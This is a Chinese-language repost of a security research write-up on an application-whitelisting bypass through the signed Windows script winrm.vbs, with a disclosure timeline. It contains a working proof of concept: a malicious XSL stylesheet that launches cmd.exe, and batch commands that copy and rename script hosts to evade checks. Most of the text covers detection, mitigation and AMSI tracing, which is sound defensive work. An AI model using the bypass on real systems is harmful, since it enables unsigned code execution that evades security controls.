内容简介:winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL,而XSL不受“当向winrm.vbs提供“-format:pretty”或“-format:text”参数时,它会将WsmPty.xsl或WsmTxt.xsl分别从cscript.exe所在的目录中取出。这意味着,如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置,则将执行任意未签名代码。这个问题实际上与
绕过技术描述
winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL,而XSL不受“ enlightened script host ”的限制,导致任意的、无签名的代码执行。
当向winrm.vbs提供“-format:pretty”或“-format:text”参数时,它会将WsmPty.xsl或WsmTxt.xsl分别从cscript.exe所在的目录中取出。这意味着,如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置,则将执行任意未签名代码。这个问题实际上与 Casey Smith 的 wmic.exe技术 完全相同。
PoC
武器化工作流程如下:
- 将恶意的WsmPty.xsl或WsmTxt.xsl放置到攻击者控制的位置。
- 将cscript.exe(或使用wcript.exe和后面描述的技巧)复制到同一位置。
- 执行winrm.vbs,使用“-format”开关,指定“pretty”或“text”,具体取决于哪个.XSL文件被删除,WsmPty.xsl或 WsmTxt.xsl。
下面是一个“恶意”XSL的例子,它可以放置到攻击者控制的目录中(在这个例子中,是在C:BypassDirWsmPty.xsl中):
<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>
WsmPty.xsl的正确武器化可能包括嵌入式 DotNetToJScript payload,从而导致执行任意的未签名代码。
mkdir %SystemDrive%BypassDir copy %windir%System32cscript.exe %SystemDrive%BypassDir %SystemDrive%BypassDircscript //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
发现方法论
这一发现本质上是偶然发生的。在与Casey进行了 基于XSL的wmic.exe绕过技术 的研究后不久,我碰巧正在审核内置的VBS和JScript文件,以获得更多的绕过技术。我审核这些文件类型的动机是受到了 Matt Nelson 的启发,他最初用他的 Purprn.vbs注入技术 激起了我的兴趣。在阅读winrm.vbs的源代码时,字符串“WsmPty.xsl”和“WsmTxt.xsl”引起了我的注意,因为正如Casey在他的博客文章中演示的那样,使用XSL的应用程序有可能通过将WSH脚本内容嵌入到XSL文件中来实现任意代码执行。当然,winrm.vbs也不例外。
更广泛地说,我常常非常积极地寻找允许任意、未签名代码执行的签名脚本和二进制文件,因为它们不仅可以绕过应用程序白名单,而且不太可能被安全产品检测到(至少在它们被发布之前是不会被发现的)。我总是在狩猎!
检测与规避策略
为了为该技术建立健壮的检测,重要的是确定执行该技术所需的最小组件集。
必须删除攻击者控制的WsmPty.xsl或WsmTxt.xsl。
winrm.vbs对WsmPty.xsl和WsmTxt.xsl进行硬编码,并显式地将它们绑定到“pretty”和“text”参数。似乎没有办法指示winrm.vbs使用不同的XSL文件,而不是使用XSL payload的可执行文件的当前工作目录(即在大多数情况下使用cscript.exe)。从检测的角度来看,WsmPty.xsl或WsmTxt.xsl文件的哈希值与System 32中的哈希值不同,应该被认为是可疑的。幸运的是,合法XSL文件的哈希值很少会改变。
此外,合法的WsmPty.xsl和WsmTxt.xsl文件是目录签名的。任何偏离这些哈希值将导致文件不再签名。换句话说,磁盘上没有签名的任何WsmPty.xsl或WsmTxt.xsl都应该被怀疑。请注意,目录签名验证要求运行“cryptsvc”服务。
必须执行签名的winrm.vbs。如果攻击者要编辑winrm.vbs的内容,这种绕过方法的值将无效。
基于命令行中winrm.vbs的存在来构建检测相对较弱,因为攻击者可以将winrm.vbs重命名为他们选择的文件名。
为了使用XSL文件,必须用“pretty”或“text”参数指定“format”。
允许对“format”进行以下不敏感的参数更改:
-format:pretty -format:"pretty" /format:pretty /format:"pretty" -format:text -format:"text" /format:text /format:"text"
虽然构建“format”是否存在的检测将捕捉所有的变化,但检测可能存在问题。“format”参数是否合法使用将取决于组织。但是,除了System32中的cscript.exe和winrm.vbs之外,不太可能从其他任何地方合法调用。
winrm.vbs预计将从cscript.exe执行。脚本中有执行验证的逻辑。
winrm.vbs通过验证WScript.FullName(到正在执行的主机二进制文件的完整路径)包含“cscript.exe”来验证它是否从cscript.exe执行。不过,这是一个弱的验证,因为它只检查“cscript.exe”是否位于完整路径的任何位置。这对攻击者意味着,如果他们想要从重命名的cscript.exe或甚至从另一个脚本主机二进制文件(如wcript.exe)启动winrm.vbs,它们都可以启动winrm.vbs。下面是一个update .bat PoC,它绕过了“cscript.exe”检查。
mkdir %SystemDrive%BypassDircscript.exe copy %windir%System32wscript.exe %SystemDrive%BypassDircscript.exewinword.exe %SystemDrive%BypassDircscript.exewinword.exe //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
检测鲁棒性需要注意的
- 在PoC示例中选择get wmicimv2/Win32_Process?Handle=4参数仅仅是为了演示一个实际的命令行参数,假设启用了WinRM服务,该参数实际上将返回有用的内容。不过,请注意,并不需要启用WinRM服务才能使用该技术,还有各种其他选项支持“format”参数。这些选项没有显示任何形式的恶意意图。
- 鲁棒性的检测不会涉及到在命令行中查找cscript.exe或wcript.exe。没有什么可以阻止攻击者复制和重命名WSH主机可执行文件。要对进程执行进行更健壮的检测,就需要验证“原始文件名(Original filename)”以及二进制文件的签名。“原始文件名(Original filename)”(“版本信息/version info”嵌入式资源的一个组件)是文件签名时哈希计算的一部分。如果攻击者试图修改WSH主机可执行文件中的任何嵌入资源,则签名将无效。
缓解和预防策略
可以通过在执行用户模式代码完整性(UMCI)的情况下启用Windows防御应用程序控制(WDAC)来防止这种技术。脚本的易受攻击版本需要被哈希阻塞,因为没有其他健壮的方法来阻止易受攻击的签名脚本。然而,识别脚本的所有易受攻击版本是困难的,因为防御者不太可能捕获所有可能的Windows版本中Winrm.vbs的所有易受攻击版本的所有哈希值。 这篇文章 更详细地介绍了脚本黑名单的无效性。
至于缓解,Microsoft可以在脚本中修复该问题并发布新的目录签名。这样做将使以前易受攻击的脚本版本成为未签名版本。因此,如果使用WDAC强制执行脚本签名,那么以前易受攻击的winrm.vbs版本将无法执行。但是,这种方案仅阻止非管理员执行易受攻击的winrm.vbs版本。以管理员身份运行的攻击者可以安装以前的目录签名,从而恢复执行易受攻击的winrm.vbs版本的功能。
上述两种预防/缓解方案都依赖于WDAC的执行。考虑到绝大多数组织都不会启用WDAC,即使使用固定的winrm.vbs,也无法阻止攻击者将易受攻击版本的winrm.vbs放入磁盘并执行该操作。最后,确实没有可靠的预防解决方案,即使修复了winrm.vbs。
WSH/XSL Script
这不是第一次,当然也不会是最后一次XSL和WSH被攻击者滥用。理想情况下,攻击者应该能够洞察payload是从磁盘执行还是完全在内存中执行。Powershell具有这种使用 scriptblock日志 的开箱即用能力。然而,WSH却没有这样的等价物。随着 反恶意软件扫描接口 (AMSI)的引入,如果你愿意使用ETW,就有可能捕获WSH内容。
AMSI Optics通过Microsoft-Antimalware-Scan-Interface ETW供应商公开.如果你想尝试捕获AMSI事件,可以使用的最佳库之一是KrabsETW。不过,简单起见,可以使用logman.exe捕获ETL跟踪。例如,以下命令将启动和停止ETW跟踪,并将与AMSI相关的事件保存到AMSITrace.etl:
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets <After starting the trace, this is when you'd run your malicious code to capture its context.> logman stop AMSITrace -ets
虽然ETW的机制超出了这篇文章的范围,但你可能想知道我是如何知道Microsoft-Antimalware-Scan-Interface ETW提供者的,以及“Event1”关键字是从哪里来的。
通过使用logman query providers命令查询已注册的提供者,我知道了ETW提供者的名称。“Event1”对应于捕获AMSI上下文的关键字。为了发现该关键字,我使用了 perview.exe 将ETW清单转储到XML。清单还让你深入了解可以通过提供者收集的事件。
<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events"> <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"> <events> <provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" > <keywords> <keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"/> </keywords> <tasks> <task name="task_0" message="$(string.task_task_0)" value="0"/> </tasks> <events> <event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"/> </events> <templates> <template tid="task_0Args"> <data name="session" inType="win:Pointer"/> <data name="scanStatus" inType="win:UInt8"/> <data name="scanResult" inType="win:UInt32"/> <data name="appname" inType="win:UnicodeString"/> <data name="contentname" inType="win:UnicodeString"/> <data name="contentsize" inType="win:UInt32"/> <data name="originalsize" inType="win:UInt32"/> <data name="content" inType="win:Binary" length="contentsize"/> <data name="hash" inType="win:Binary"/> <data name="contentFiltered" inType="win:Boolean"/> </template> </templates> </provider> </events> </instrumentation> <localization> <resources culture="en-US"> <stringTable> <string id="keyword_Event1" value="Event1"/> <string id="task_task_0" value="task_0"/> </stringTable> </resources> </localization> </instrumentationManifest>
捕获.ETL跟踪后,可以使用你选择的 工具 对其进行分析。PowerShell中的Gt-WinEvent是一个很好的内置.ETL解析器。我编写了一个简短的脚本来演示如何解析AMSI事件。注意WSH无法提供“ContentName”属性的bug,这导致需要手动解析事件数据。脚本还将捕获PowerShell的内容。
# Script author: Matt Graeber (@mattifestation) # logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets # Do your malicious things here that would be logged by AMSI # logman stop AMSITrace -ets $OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture $OSArch = $OSArchProperty.OSArchitecture $OSPointerSize = 32 if ($OSArch -eq '64-bit') { $OSPointerSize = 64 } $AMSIScanEvents = Get-WinEvent -Path .AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object { if (-not $_.Properties) { # The AMSI provider is not supplying the contentname property when WSH content is logged resulting # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema. # If this bug were not present, retrieving WSH content would be trivial. $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"}) $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes) $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode) switch ($OSPointerSize) { 32 { $Session = $BinaryReader.ReadUInt32() } 64 { $Session = $BinaryReader.ReadUInt64() } } $ScanStatus = $BinaryReader.ReadByte() $ScanResult = $BinaryReader.ReadInt32() $StringBuilder = New-Object -TypeName Text.StringBuilder do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0) $AppName = $StringBuilder.ToString() $null = $StringBuilder.Clear() $ContentSize = $BinaryReader.ReadInt32() $OriginalSize = $BinaryReader.ReadInt32() $ContentRaw = $BinaryReader.ReadBytes($ContentSize) $Content = [Text.Encoding]::Unicode.GetString($ContentRaw) $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '') [Bool] $ContentFiltered = $BinaryReader.ReadInt32() $BinaryReader.Close() [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $null Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } else { $Session = $_.Properties[0].Value $ScanStatus = $_.Properties[1].Value $ScanResult = $_.Properties[2].Value $AppName = $_.Properties[3].Value $ContentName = $_.Properties[4].Value $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value) $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '') $ContentFiltered = $_.Properties[9].Value [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $ContentName Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } } $AMSIScanEvents
捕获跟踪后,将看到执行的payload的内容。
了解基于ETW的optics和检测规模超出了这篇文章的范围,但希望这个例子能激励你进一步研究它。
时间表
正如SpecterOps致力于提高 透明度 一样,我们承认攻击者一旦被公开采用新的进攻技术的速度。这就是为什么在发布一种新的攻击技术之前,我们会定期将问题通知各自的供应商,提供充足的时间来缓解问题,并通知选定的受信任的供应商,以确保检测能够尽快交付给他们的客户。
由于此技术影响到Windows防御应用程序控制(通过MSRC提供的可使用的安全功能),该问题已报告给Microsoft。披露时间表如下:
- 2018年4月24日-向MSRC提交报告
- 2018年4月24日-报告已确认并指定了案件编号
- 2018年4月30日-收到电子邮件,表示已复现该问题
- 2018年5月24日-发送电子邮件至MSRC请求更新
- 2018年5月28日-答复称评估工作仍在进行中
- 2018年6月10日-发送电子邮件至MSRC请求更新
- 2018年6月11日-MSRC回应称,产品团队的目标是8月份修复问题。
- 2018年7月12日-MSRC的答复中指出,该问题不能通过安全更新来解决,可能在v.Next中解决
审核人:yiwang 编辑:边边
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用Winrm.vbs绕过应用白名单执行任意未签名代码的分析
- 用 Python 制作一个艺术签名小工具,给自己设计一个优雅的签名
- 强随机数应用链链RandDrop已上线——BLS签名实现阈值签名的流程
- Android应用签名打包
- [原]数字签名
- iOS 签名机制
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C++标准库(第2版)
Nicolai M. Josuttis / 侯捷 / 电子工业出版社 / 2015-6 / 186.00元
《C++标准库(第2版)》是全球C++经典权威参考书籍时隔12年,基于C++11标准的全新重大升级。标准库提供了一组公共类和接口,极大地拓展了C++语言核心功能。《C++标准库(第2版)》详细讲解了每一标准库组件,包括其设计目的和方法、复杂概念的剖析、实用而高效的编程细节、存在的陷阱、重要的类和函数,又辅以大量用C++11标准实现的实用代码范例。除覆盖全新组件、特性外,《C++标准库(第2版)》一......一起来看看 《C++标准库(第2版)》 这本书的介绍吧!